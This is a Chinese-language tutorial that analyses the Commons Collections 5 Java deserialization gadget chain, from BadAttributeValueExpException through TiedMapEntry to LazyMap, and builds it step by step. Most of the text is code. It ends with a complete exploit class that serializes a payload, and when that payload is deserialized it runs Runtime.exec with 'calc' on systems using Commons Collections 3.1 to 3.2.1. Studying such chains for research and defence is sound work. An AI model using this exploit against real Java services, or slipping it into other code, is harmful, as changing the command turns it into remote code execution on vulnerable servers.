'Java反序列化-cc5'

前言

cc5从yso中的代码看,修改了入口点
入口类是 BadAttributeValueExpException 的 readObject() 方法

1
2
3
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()

环境
CommonsCollections 3.1 - 3.2.1

分析

从 BadAttributeValueExpException 的 readObject() 方法进来。

这里调用了 toString() 方法,然后 TiedMapEntry 这个类调用了 toString() 方法。

1
2
3
4
5
6
7
8
9
10
//object类
public String toString() {
return getClass().getName() + "@" + Integer.toHexString(hashCode());
}

//TiedMapEntry类
@Override
public String toString() {
return getKey() + "=" + getValue();
}

跟进getValue()

1
2
3
public V getValue() {
return map.get(key);
}

get方法,然后到LazyMap的get方法

1
2
3
4
5
6
7
8
9
10
11
12
@Override
public V get(final Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
@SuppressWarnings("unchecked")
final K castKey = (K) key;
final V value = factory.transform(castKey);
map.put(castKey, value);
return value;
}
return map.get(key);
}

exp的编写

这里 LazyMap 的后面半条链子是可以用的,我们直接把 CC1 那一部分的拿进来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorateLazyMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

Class<LazyMap> lazyMapClass = LazyMap.class;
Method LazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
LazyGetMethod.setAccessible(true);
LazyGetMethod.invoke(decorateLazyMap,chainedTransformer);

成功弹出计算器,后半部分的链子没问题

下一步我们写 TiedMapEntry 类调用 toString() 方法的 EXP。

TiedMapEntry.toString的exp编写

1
2
3
4
5
6
7
8
9
10
11
12
13
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}

public String toString() {
return getKey() + "=" + getValue();
}

public Object getValue() {
return map.get(key);
}

第一个放map 第二个放key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorateLazyMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

// Class<LazyMap> lazyMapClass = LazyMap.class;
// Method LazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
// LazyGetMethod.setAccessible(true);
// LazyGetMethod.invoke(decorateLazyMap,chainedTransformer);

TiedMapEntry TideMapvalue = new TiedMapEntry(decorateLazyMap, "value");
TideMapvalue.toString();

又getDeclaredMethod获取get方法,替换为直接调用TiedMapEntry的tostring方法,然后调用getValue --> map.get

入口类exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

看readobject

1
2
valObj = gf.get("val", null);
val = valObj.toString();

会调用get函数获取 val 的值然后赋给 valObj ,然后在符合 else if 的情况下就会调用 toString
第一个if:valObj不为null
第二个if:valObj不是string
第三个if:

1
2
3
4
5
public static SecurityManager getSecurityManager() {
return security;
}

private static volatile SecurityManager security = null;

它默认就是null

所以我们要实现poc 操纵val进行tostring方法

1
2
3
4
5
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class<?> c = Class.forName("javax.management.BadAttributeValueExpException");
Field valField = c.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,TideMapvalue);

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
public static void main(String[] args) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorateLazyMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

// Class<LazyMap> lazyMapClass = LazyMap.class;
// Method LazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
// LazyGetMethod.setAccessible(true);
// LazyGetMethod.invoke(decorateLazyMap,chainedTransformer);

TiedMapEntry TideMapvalue = new TiedMapEntry(decorateLazyMap, "value");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Class<?> c = Class.forName("javax.management.BadAttributeValueExpException");
Field valField = c.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,TideMapvalue);

// serialize(badAttributeValueExpException);
unserialization("./2.ser");


}



public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
// System.out.println(obj);
}

public static Object unserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}

流程图: